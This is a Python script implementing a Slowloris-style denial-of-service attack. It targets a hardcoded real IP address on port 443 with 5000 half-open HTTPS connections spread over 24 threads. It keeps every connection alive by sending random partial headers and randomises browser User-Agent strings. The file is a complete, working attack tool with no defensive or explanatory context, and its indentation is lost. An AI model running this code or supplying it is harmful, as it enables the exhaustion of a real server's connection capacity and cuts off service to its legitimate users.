import socket
import time
import random
import argparse
import threading
import secrets
import ssl
HOST = "8.138.16.113"
PORT = 443
SOCKETS = 5000
TIMEOUT = 5
INTERVAL = 5
USE_SSL = True
THREADS = 24
def set_keepalive(sock):
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
if hasattr(socket, 'SIO_KEEPALIVE_VALS'):
sock.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
elif hasattr(socket, 'TCP_KEEPIDLE'):
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)
except:
pass
def new_sock(host, port, ssl_on):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(TIMEOUT)
set_keepalive(s)
s.connect((host, port))
if ssl_on:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=host)
ver = f"{random.randint(500,600)}.0"
cv = f"{random.randint(100,150)}.{random.randint(0,99)}.{random.randint(1000,9999)}.{random.randint(100,999)}"
# 最后不加\r\n
req = f"GET / HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/{ver} (KHTML, like Gecko) Chrome/{cv} Safari/{ver}"
s.send(req.encode())
return s
except Exception as e:
print(e)
return None
def alive(sock):
try:
sock.send(f"{secrets.token_urlsafe(4)}{random.randint(1,9999)}: {random.randint(1,9999)}\r\n".encode())
return True
except:
return False
def worker(host, port, ssl_on, target, interval, stop):
pool = []
while len(pool) < target and not stop.is_set():
s = new_sock(host, port, ssl_on)
if s: pool.append(s)
else: time.sleep(0.5)
while not stop.is_set():
dead = [s for s in pool if not alive(s)]
for s in dead:
try: s.close()
except: pass
pool.remove(s)
while len(pool) < target and not stop.is_set():
s = new_sock(host, port, ssl_on)
if s: pool.append(s)
else: break
stop.wait(interval)
for s in pool:
try: s.close()
except: pass
def main():
p = argparse.ArgumentParser()
p.add_argument('--host', default=HOST)
p.add_argument('--port', type=int, default=PORT)
p.add_argument('--sockets', type=int, default=SOCKETS)
p.add_argument('--interval', type=int, default=INTERVAL)
p.add_argument('--usessl', action='store_true', default=USE_SSL)
p.add_argument('--threads', type=int, default=THREADS)
args = p.parse_args()
base = args.sockets // args.threads
rem = args.sockets % args.threads
targets = [base + (1 if i < rem else 0) for i in range(args.threads)]
stop = threading.Event()
for i, t in enumerate(targets):
threading.Thread(target=worker, args=(args.host, args.port, args.usessl, t, args.interval, stop), daemon=True).start()
print(f"Running: {args.threads} threads, {args.sockets} sockets total (Ctrl+C to stop)")
try:
while True: time.sleep(1)
except KeyboardInterrupt:
print("\nStopping...")
stop.set()
print("Done.")
if __name__ == "__main__":
main()